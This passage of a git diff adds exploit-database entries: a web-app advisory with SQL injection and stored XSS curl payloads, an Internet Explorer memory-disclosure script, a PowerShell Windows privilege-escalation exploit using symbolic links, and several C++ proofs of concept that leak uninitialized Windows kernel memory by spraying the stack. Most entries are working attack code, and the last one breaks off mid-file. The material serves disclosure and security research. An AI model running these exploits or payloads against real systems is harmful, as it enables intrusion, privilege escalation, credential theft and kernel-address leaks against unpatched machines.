|
||||
|
||||
|
||||
POC
|
||||
|
||||
Paste the below POC into the birth date text box and update. A mysql version will appear in the Position box
|
||||
|
||||
2015-11-30',u_position=@@version,u_type='Employee' WHERE u_email='employee@employee.com';-- -
|
||||
|
||||
|
||||
|
||||
3 login/Actions.php: Found Stored XSS in manufacturer_name
|
||||
|
||||
|
||||
POC
|
||||
|
||||
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=create -d 'manufacturer_name=<script>alert(document.cookie)</script>'
|
||||
|
||||
Now when user's browse to login/model.php page, he/she will see an alert with the session cookie
|
||||
|
||||
http://10.0.0.14/soyket-vsms-php-63b563b/login/model.php
|
||||
|
||||
|
||||
|
||||
4 login/Actions.php (Multiple vulnerabilities)
|
||||
|
||||
|
||||
POC (SQLI)
|
||||
|
||||
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=checkuser -d "username=employee@employee.com' union select 'SQLIIII' into outfile'/tmp/stuff.txt"
|
||||
|
||||
This SQLI will write SQLIIII to /tmp/stuff.txt.
|
||||
|
||||
|
||||
|
||||
|
||||
POC (Information Leak
|
||||
|
||||
curl http://10.0.0.14/soyket-vsms-php-63b563b/login/Actions.php?action=listu
|
||||
|
||||
This gives anonymous user full list of the users table with unsalted MD5 hash passwords.
|
||||
|
||||
|
||||
|
||||
5. Solution:
|
||||
|
||||
|
||||
|
||||
The author notified of a new version with fixes (possibly v1.3). It can be found at vendor’s home page
|
||||
|
||||
https://sourceforge.net/projects/vsms-php/?source=typ_redirect
|
||||
|
||||
|
||||
Time Line
|
||||
|
||||
Author was notified of the vulnerabilities on 27-01-2018
|
||||
Author notified of the new updates on 14-03-2018
|
||||
Exploit released on 16-03-2018
|
||||
33
exploits/windows/dos/44312.js
Normal file
33
exploits/windows/dos/44312.js
Normal file
|
|
@ -0,0 +1,33 @@
|
|||
/*
|
||||
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.
|
||||
|
||||
This was tested on IE11 running on Window 7 64-bit with the latest patches applied.
|
||||
|
||||
PoC:
|
||||
|
||||
=========================================
|
||||
*/
|
||||
|
||||
<!-- saved from url=(0014)about:internet -->
|
||||
<script>
|
||||
|
||||
function main() {
|
||||
RegExp.input = {toString: f};
|
||||
alert(RegExp.lastMatch);
|
||||
}
|
||||
|
||||
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");
|
||||
|
||||
function f() {
|
||||
String.prototype.match.call(input, "bbbbbbbbbb");
|
||||
}
|
||||
|
||||
main();
|
||||
|
||||
</script>
|
||||
|
||||
/*
|
||||
=========================================
|
||||
|
||||
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
|
||||
*/
|
||||
112
exploits/windows/local/44314.ps1
Normal file
112
exploits/windows/local/44314.ps1
Normal file
|
|
@ -0,0 +1,112 @@
|
|||
<#
|
||||
Windows: Windows: Desktop Bridge Virtual Registry Arbitrary File Read/Write EoP
|
||||
Platform: Windows 1709 (not tested earlier version)
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary: The handling of the virtual registry for desktop bridge applications can allow an application to create arbitrary files as system resulting in EoP.
|
||||
|
||||
Description:
|
||||
The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual registry to add changes to system hives and user hives without actually modifying the real hives. The configuration of these registry hives is by passing a data structure to the virtual registry driver in the kernel. Loading new hives requires SeRestorePrivilege so the loading of the hives is done in the AppInfo service as part of the Desktop AppX initialization process using the container/silo APIs. In order to have this privilege the registry loader must be called by an administrator, in this case the SYSTEM user.
|
||||
|
||||
This is a security issue because the registry hive files are stored inside the user’s profile under %LOCALAPPDATA%\Packages\PackageName\SystemAppData\Helium. It’s possible to replace the directories with mount points/symlinks to redirect file access. This can be used to load arbitrary registry hives including ones not accessible normally by a user, but the most serious consequence of this is if a registry hive is opened for write access the kernel will try and create a couple of log files in the same directory if they don’t already exist. If you redirect the creation of these files to another location using symlinks you can create arbitrary files on disk.
|
||||
|
||||
This also applies to the main hive file as well, but the advantage of the log files is the kernel will create them with the same security descriptor as the main hive which means they can be accessed by the normal user afterwards. The known writable hive files which can be abused in this way are:
|
||||
|
||||
User.dat
|
||||
UserClasses.data
|
||||
Cache\XXXX_COM15.dat
|
||||
|
||||
Again we can use the Get/My Office application installed by default. Note that you only need a valid Desktop Bridge application, you don’t need one which actually has a registry.dat file installed as the user hives and com15 hives seem to be created regardless.
|
||||
|
||||
This issue is due to a fundamental problem in the implementation of the hive loading APIs, it's dangerous to load hives from a user accessible location as it must be done as an admin to have the required privilege. I've reported similar issues before. Considering the virtual registry driver is the one loading the hive perhaps you could pass a token handle to the driver which the kernel will impersonate during loading, after it's verified the SeRestorePrivilege from the current caller.
|
||||
|
||||
NOTE: Please don’t ignore the fact that this can also be used to load arbitrary registry hives that the user normally can’t access, as long the hive is accessible by SYSTEM. I’ve only sent the one issue but you should also ensure that any fix also takes into account the read issue as well.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a PowerShell script. You need to install my NtObjectManager module from PSGallery first (using Install-Module NtObjectManager). In order for the exploit to work you need a copy of the Get Office/My Office application installed (I tested with version 17.8830.7600.0).
|
||||
|
||||
The exploit works as follows:
|
||||
* The Helium\Cache folder is renamed to Cache-X.
|
||||
* The Cache folder is recreated as a mount point which redirects to the object manager directory \RPC Control
|
||||
* Symbolic links are dropped for the registry hive files. The LOG files are redirected to an arbitrary name in the windows folder.
|
||||
|
||||
1) Install the NtObjectManager module and set execution policy for PS to Bypass.
|
||||
2) Start the Get/My Office application once to ensure the user directories and registry hives have been created.
|
||||
3) Start the poc in powershell, it should print it’s waiting for you to start the Office Hub application.
|
||||
4) Start the Get/My Office application, it should be immediately killed.
|
||||
|
||||
Note that the PoC will leave the user profile for the Office Hub application broken, you should delete the fake Cache folder and rename the Cache-X folder to try the exploit again.
|
||||
|
||||
Expected Result:
|
||||
The application creation fails or at least the symbolic links aren’t followed.
|
||||
|
||||
Observed Result:
|
||||
Two new files are created in the c:\windows folder with potentially arbitrary names which are also writable by a normal user.
|
||||
#>
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
Import-Module NtObjectManager
|
||||
|
||||
function Test-WritablePath {
|
||||
Param($Path)
|
||||
if (Test-Path $Path) {
|
||||
Use-NtObject($file = Get-NtFile "$Path" -Win32Path) {
|
||||
return ($file.GrantedAccess -band "WriteData") -eq "WriteData"
|
||||
}
|
||||
}
|
||||
return $false
|
||||
}
|
||||
|
||||
$path = "$env:USERPROFILE\appdata\local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\Cache"
|
||||
$newpath = "$path-X"
|
||||
$path = Resolve-Path $path
|
||||
$files = Get-ChildItem "$path\*.dat"
|
||||
$linkpath = "\RPC Control"
|
||||
|
||||
Rename-Item $path $newpath
|
||||
|
||||
[NtApiDotNet.NtFile]::CreateMountPoint("\??\$path", $linkpath, "")
|
||||
|
||||
Use-NtObject($list = [NtApiDotNet.DisposableList[NtApiDotNet.NtSymbolicLink]]::new()) {
|
||||
|
||||
foreach($file in $files) {
|
||||
$name = $file.Name
|
||||
|
||||
$link = New-NtSymbolicLink "$linkpath\$name" "\??\$newpath\$name"
|
||||
$list.Add($link) | Out-Null
|
||||
$link = New-NtSymbolicLink "$linkpath\$name.LOG1" "\??\$env:windir\badger.$name.LOG1"
|
||||
$list.Add($link) | Out-Null
|
||||
$link = New-NtSymbolicLink "$linkpath\$name.LOG2" "\??\$env:windir\badger.$name.LOG2"
|
||||
$list.Add($link) | Out-Null
|
||||
}
|
||||
|
||||
Write-Host "Created links, now start Office Hub to complete"
|
||||
|
||||
while($true) {
|
||||
Use-NtObject($procs = Get-NtProcess -Name "OfficeHubWin32.exe") {
|
||||
if ($null -ne $procs) {
|
||||
Write-Host "Found Process"
|
||||
$procs.Terminate(0)
|
||||
$procs.Wait()
|
||||
# Just wait a bit to ensure files released.
|
||||
Start-Sleep -Seconds 5
|
||||
break
|
||||
}
|
||||
}
|
||||
Start-Sleep -Seconds 1
|
||||
}
|
||||
|
||||
foreach($file in $files) {
|
||||
$name = $file.Name
|
||||
$test_path = "$env:windir\badger.$name.LOG1"
|
||||
if (Test-WritablePath $test_path) {
|
||||
Write-Host "Found writable file $test_path"
|
||||
}
|
||||
$test_path = "$env:windir\badger.$name.LOG2"
|
||||
if (Test-WritablePath $test_path) {
|
||||
Write-Host "Found writable file $test_path"
|
||||
}
|
||||
}
|
||||
}
|
||||
29
exploits/windows/local/44315.txt
Normal file
29
exploits/windows/local/44315.txt
Normal file
|
|
@ -0,0 +1,29 @@
|
|||
Windows: Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write EoP
|
||||
Platform: Windows 1703 (version 1709 seems to have fixed this bug)
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary: The handling of the virtual registry NtLoadKey callback reloads registry hives insecurely leading to arbitrary file creation resulting in EoP.
|
||||
|
||||
Description:
|
||||
|
||||
NOTE: This bug seems to have been fixed in 1709, but the fix hasn’t been backported to 1703 (I’ve not checked 1607). I don’t know if the fix was intentional or not, however as (according to https://support.microsoft.com/en-gb/help/13853/windows-lifecycle-fact-sheet) 1703 should be supported until at least September 2018 this should be something you’d consider fixing.
|
||||
|
||||
The desktop bridge functionality introduced in Anniversary edition allows an application to set up a virtual registry to add changes to system hives and user hives without actually modifying the real hives. This is implemented through the normal registry callback functionality. One of the callbacks implemented is to handle the NtLoadKey system call (VrpPreLoadKey). On 1703 it doesn’t check for the Application Key flag, but then recalls ZwLoadKey with the arguments passed by the user mode caller. This effectively allows you to circumvent the requirement for SeRestorePrivilege as will also create a new hive file with kernel privileges in the context of the current user. This is a trivial EoP by dropping a arbitrary file to disk then getting system privileges.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# project. In order for the exploit to work you need a copy of the Get Office/My Office application installed (I tested with version 17.8830.7600.0). It could be any desktop bridge application however as you just need to run a program inside the container. Again I’ll note that this will only work on 1703 as the code seems to have been fixed in 1709. The registry hives files it creates will be locked (we can’t easily unload the hive) until reboot although it’s probably possible to trick the system into failing the load while still creating some files.
|
||||
|
||||
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
|
||||
2) Start the Get Office/My Office application
|
||||
3) Start the poc. It should print that it successfully created the registry files.
|
||||
|
||||
Expected Result:
|
||||
Loading the registry key should fail.
|
||||
|
||||
Observed Result:
|
||||
The registry key is loaded and the file test.hiv has been created in the windows folder with full access for the current user.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44315.zip
|
||||
109
exploits/windows_x86-64/dos/44308.cpp
Normal file
109
exploits/windows_x86-64/dos/44308.cpp
Normal file
|
|
@ -0,0 +1,109 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the 2 information class (MemoryMappedFilenameInformation) discloses portions of uninitialized kernel pool memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
|
||||
|
||||
The output buffer for this information class is a UNICODE_STRING structure followed by the actual filename string. The output data is copied back to user-mode memory under the following stack trace (on Windows 7 64-bit):
|
||||
|
||||
--- cut ---
|
||||
kd> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 fffff880`03cfd8c8 fffff800`02970229 nt!memcpy+0x3
|
||||
01 fffff880`03cfd8d0 fffff800`02970752 nt!IopQueryNameInternal+0x289
|
||||
02 fffff880`03cfd970 fffff800`02967bb4 nt!IopQueryName+0x26
|
||||
03 fffff880`03cfd9c0 fffff800`0296a80d nt!ObpQueryNameString+0xb0
|
||||
04 fffff880`03cfdac0 fffff800`0268d093 nt!NtQueryVirtualMemory+0x5fb
|
||||
05 fffff880`03cfdbb0 00000000`772abf6a nt!KiSystemServiceCopyEnd+0x13
|
||||
--- cut ---
|
||||
|
||||
The UNICODE_STRING structure is defined as follows:
|
||||
|
||||
--- cut ---
|
||||
typedef struct _LSA_UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
|
||||
--- cut ---
|
||||
|
||||
On 64-bit builds, there is a 4-byte padding between the "MaximumLength" and "Buffer" fields inserted by the compiler, in order to align the "Buffer" pointer to 8 bytes. This padding is left uninitialized in the code and is copied in this form to user-mode clients, passing over left-over data from the kernel pool.
|
||||
|
||||
The issue can be reproduced by running the attached proof-of-concept program on a 64-bit system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at offsets 4-7 are equal to the markers inserted by Special Pools, and would otherwise contain junk data that was previously stored in that memory region:
|
||||
|
||||
--- cut ---
|
||||
00000000: 6c 00 6e 00[37 37 37 37]f0 f6 af 87 dd 00 00 00 l.n.7777........
|
||||
--- cut ---
|
||||
00000000: 6c 00 6e 00[59 59 59 59]e0 f6 b3 0f c8 00 00 00 l.n.YYYY........
|
||||
--- cut ---
|
||||
00000000: 6c 00 6e 00[7b 7b 7b 7b]40 f1 af 16 18 00 00 00 l.n.{{{{@.......
|
||||
--- cut ---
|
||||
00000000: 6c 00 6e 00[a3 a3 a3 a3]80 f0 90 aa 33 00 00 00 l.n.........3...
|
||||
--- cut --
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <cstdio>
|
||||
|
||||
typedef enum _MEMORY_INFORMATION_CLASS {
|
||||
MemoryMappedFilenameInformation = 2
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
extern "C"
|
||||
NTSTATUS NTAPI NtQueryVirtualMemory(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_In_opt_ PVOID BaseAddress,
|
||||
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
_Out_ PVOID MemoryInformation,
|
||||
_In_ SIZE_T MemoryInformationLength,
|
||||
_Out_opt_ PSIZE_T ReturnLength
|
||||
);
|
||||
|
||||
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
|
||||
PBYTE Data = (PBYTE)Buffer;
|
||||
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
SIZE_T ReturnLength;
|
||||
BYTE OutputBuffer[1024];
|
||||
|
||||
NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(),
|
||||
&main,
|
||||
MemoryMappedFilenameInformation,
|
||||
OutputBuffer,
|
||||
sizeof(OutputBuffer),
|
||||
&ReturnLength);
|
||||
|
||||
if (!NT_SUCCESS(st)) {
|
||||
printf("NtQueryVirtualMemory failed, %x\n", st);
|
||||
ExitProcess(1);
|
||||
}
|
||||
|
||||
PrintHex(OutputBuffer, sizeof(UNICODE_STRING));
|
||||
|
||||
return 0;
|
||||
}
|
||||
93
exploits/windows_x86-64/dos/44309.cpp
Normal file
93
exploits/windows_x86-64/dos/44309.cpp
Normal file
|
|
@ -0,0 +1,93 @@
|
|||
/*
|
||||
We have discovered that the nt!NtQueryInformationThread system call invoked with the 0 information class (ThreadBasicInformation) discloses portions of uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
|
||||
|
||||
The specific layout of the corresponding output buffer is unknown to us; however, we have determined that the output size is 48 bytes. At offset 4 of the data, 4 uninitialized bytes from the kernel stack are leaked to the client application. This is most likely caused by compiler-introduced alignment between the first and second field of the structure (4-byte and 8-byte long, respectively). This would also explain why the leak does not manifest itself on x86 builds, as the second field is 4-byte long and therefore must be aligned to 4 instead of 8 bytes.
|
||||
|
||||
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows:
|
||||
|
||||
--- cut ---
|
||||
00000000: 03 01 00 00 41 41 41 41 00 a0 10 2c f2 00 00 00 ....AAAA...,....
|
||||
00000010: 90 1b 00 00 00 00 00 00 1c 3a 00 00 00 00 00 00 .........:......
|
||||
00000020: ff 0f 00 00 00 00 00 00 09 00 00 00 00 00 00 00 ................
|
||||
--- cut ---
|
||||
|
||||
It is clearly visible here that 4 bytes copied from ring-0 to ring-3 remained uninitialized. If the stack spraying function call is commented out, the top 32 bits of raw kernel pointers can be observed in the output.
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <cstdio>
|
||||
|
||||
#define ThreadBasicInformation ((THREADINFOCLASS)0)
|
||||
|
||||
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(*EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
int main() {
|
||||
SprayKernelStack();
|
||||
|
||||
BYTE OutputBuffer[48] = { /* zero padding */ };
|
||||
ULONG ReturnLength;
|
||||
NTSTATUS st = NtQueryInformationThread(GetCurrentThread(), ThreadBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
|
||||
if (!NT_SUCCESS(st)) {
|
||||
printf("NtQueryInformationThread failed, %x\n", st);
|
||||
return 1;
|
||||
}
|
||||
|
||||
PrintHex(OutputBuffer, ReturnLength);
|
||||
|
||||
return 0;
|
||||
}
|
||||
156
exploits/windows_x86-64/dos/44310.cpp
Normal file
156
exploits/windows_x86-64/dos/44310.cpp
Normal file
|
|
@ -0,0 +1,156 @@
|
|||
/*
|
||||
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a EXCEPTION_RECORD structure to user-mode memory while passing execution to a user-mode exception handler. The vulnerability affects 64-bit versions of Windows 7 to 10.
|
||||
|
||||
The leak was originally detected under the following stack trace (Windows 7):
|
||||
|
||||
--- cut ---
|
||||
kd> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 fffff880`040b7e18 fffff800`026ca362 nt!memcpy+0x3
|
||||
01 fffff880`040b7e20 fffff800`026db3bc nt!KiDispatchException+0x421
|
||||
02 fffff880`040b84b0 fffff800`0268fafb nt!KiRaiseException+0x1b4
|
||||
03 fffff880`040b8ae0 fffff800`0268d093 nt!NtRaiseException+0x7b
|
||||
04 fffff880`040b8c20 00000000`74b5cb49 nt!KiSystemServiceCopyEnd+0x13
|
||||
--- cut ---
|
||||
|
||||
and more specifically in the copying of the EXCEPTION_RECORD structure:
|
||||
|
||||
--- cut ---
|
||||
kd> dt _EXCEPTION_RECORD @rdx
|
||||
ntdll!_EXCEPTION_RECORD
|
||||
+0x000 ExceptionCode : 0n1722
|
||||
+0x004 ExceptionFlags : 1
|
||||
+0x008 ExceptionRecord : (null)
|
||||
+0x010 ExceptionAddress : 0x00000000`765fc54f Void
|
||||
+0x018 NumberParameters : 0
|
||||
+0x020 ExceptionInformation : [15] 0xbbbbbbbb`bbbbbbbb
|
||||
--- cut ---
|
||||
|
||||
In that structure, the entire "ExceptionInformation" array consisting of 15*8=120 bytes is left uninitialized and provided this way to the ring-3 client. The overall EXCEPTION_RECORD structure (which contains the ExceptionInformation in question) is allocated in the stack frame of the nt!KiRaiseException function.
|
||||
|
||||
Based on some cursory code analysis and manual experimentation, we believe that the kernel only fills as many ULONG_PTR's as the .NumberParameters field is set to (but not more than EXCEPTION_MAXIMUM_PARAMETERS), while the remaining entries of the array are never written to. As a result, running the attached proof-of-concept program reveals 120 bytes of kernel stack memory (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:
|
||||
|
||||
--- cut ---
|
||||
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
|
||||
00000070: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
|
||||
--- cut ---
|
||||
|
||||
If we replace the stack-spraying function call in the code with a printf() call, we can immediately spot a number of kernel-mode addresses in the output dump:
|
||||
|
||||
--- cut ---
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000010: a0 ce 1e 00 00 00 00 00 a0 ce 1e 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 64 0b 00 00 00 40 00 00 ........d....@..
|
||||
00000030: b8 00 00 00 00 00 00 00 60 6e 83 5d 80 f9 ff ff ........`n.]....
|
||||
00000040: 00 0d 78 60 80 f9 ff ff 00 00 00 00 80 f9 ff ff ..x`............
|
||||
00000050: 00 00 00 00 01 00 00 00 00 01 00 00 00 00 00 00 ................
|
||||
00000060: 10 01 00 00 00 00 00 00 00 70 f5 3f 01 00 00 00 .........p.?....
|
||||
00000070: 50 0b 10 60 80 f9 ff ff ?? ?? ?? ?? ?? ?? ?? ?? P..`............
|
||||
--- cut ---
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdio>
|
||||
|
||||
extern "C"
|
||||
NTSTATUS
|
||||
NTAPI
|
||||
NtRaiseException(
|
||||
IN PEXCEPTION_RECORD ExceptionRecord,
|
||||
IN PCONTEXT ThreadContext,
|
||||
IN BOOLEAN HandleException);
|
||||
|
||||
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
|
||||
for (ULONG i = 0; i < size; i++) {
|
||||
ptr[i] = byte;
|
||||
}
|
||||
}
|
||||
|
||||
VOID SprayKernelStack() {
|
||||
static bool initialized = false;
|
||||
static HPALETTE(*EngCreatePalette)(
|
||||
_In_ ULONG iMode,
|
||||
_In_ ULONG cColors,
|
||||
_In_ ULONG *pulColors,
|
||||
_In_ FLONG flRed,
|
||||
_In_ FLONG flGreen,
|
||||
_In_ FLONG flBlue
|
||||
);
|
||||
|
||||
if (!initialized) {
|
||||
EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
|
||||
initialized = true;
|
||||
}
|
||||
|
||||
static ULONG buffer[256];
|
||||
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
|
||||
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
|
||||
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
|
||||
}
|
||||
|
||||
LONG CALLBACK VectoredHandler(
|
||||
_In_ PEXCEPTION_POINTERS ExceptionInfo
|
||||
) {
|
||||
PrintHex((PBYTE)ExceptionInfo->ExceptionRecord->ExceptionInformation,
|
||||
sizeof(ExceptionInfo->ExceptionRecord->ExceptionInformation));
|
||||
ExitProcess(0);
|
||||
}
|
||||
|
||||
int main() {
|
||||
AddVectoredExceptionHandler(1, VectoredHandler);
|
||||
|
||||
// Initialize the exception record.
|
||||
EXCEPTION_RECORD er;
|
||||
RtlZeroMemory(&er, sizeof(er));
|
||||
er.ExceptionAddress = main;
|
||||
er.ExceptionCode = STATUS_ACCESS_VIOLATION;
|
||||
er.ExceptionFlags = 0;
|
||||
er.NumberParameters = 0;
|
||||
er.ExceptionRecord = NULL;
|
||||
|
||||
// Initialize the CPU context.
|
||||
CONTEXT ctx;
|
||||
RtlZeroMemory(&ctx, sizeof(ctx));
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
GetThreadContext(GetCurrentThread(), &ctx);
|
||||
|
||||
// Spray the kernel stack with a 0x41 marker byte.
|
||||
SprayKernelStack();
|
||||
|
||||
// Trigger the memory disclosure.
|
||||
NtRaiseException(&er, &ctx, TRUE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
129
exploits/windows_x86-64/dos/44311.cpp
Normal file
129
exploits/windows_x86-64/dos/44311.cpp
Normal file
|
|
@ -0,0 +1,129 @@
|
|||
/*
|
||||
We have discovered that the nt!NtWaitForDebugEvent system call discloses portions of uninitialized kernel stack memory to user-mode clients, on 64-bit versions of Windows 7 to Windows 10.
|
||||
|
||||
The output buffer, and the corresponding temporary stack-based buffer in the kernel are 0xB8 (184) bytes in size. The first 4 and the trailing 0xB0 bytes are zero'ed out at the beginning of the function:
|
||||
|
||||
--- cut ---
|
||||
PAGE:00000001404B1650 xor r14d, r14d
|
||||
[...]
|
||||
PAGE:00000001404B1667 mov [rsp+148h+var_E8], r14d
|
||||
PAGE:00000001404B166C xor edx, edx ; Val
|
||||
PAGE:00000001404B166E mov r8d, 0B0h ; Size
|
||||
PAGE:00000001404B1674 lea rcx, [rsp+148h+var_E0] ; Dst
|
||||
PAGE:00000001404B1679 call memset
|
||||
--- cut ---
|
||||
|
||||
However, the remaining 4 bytes at offset 0x4 are never touched, and so they contain whatever data was written there by the previous system call. These 4 bytes are then subsequently leaked to the user-mode caller. This is most likely caused by compiler-introduced alignment between the first and second field of the structure (4-byte and 8-byte long, respectively). This would also explain why the leak does not manifest itself on x86 builds, as in that case the second field is 4-byte long and therefore must be aligned to 4 instead of 8 bytes.
|
||||
|
||||
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows:
|
||||
|
||||
--- cut ---
|
||||
00000000: 00 00 00 00 41 41 41 41 00 00 00 00 00 00 00 00 ....AAAA........
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
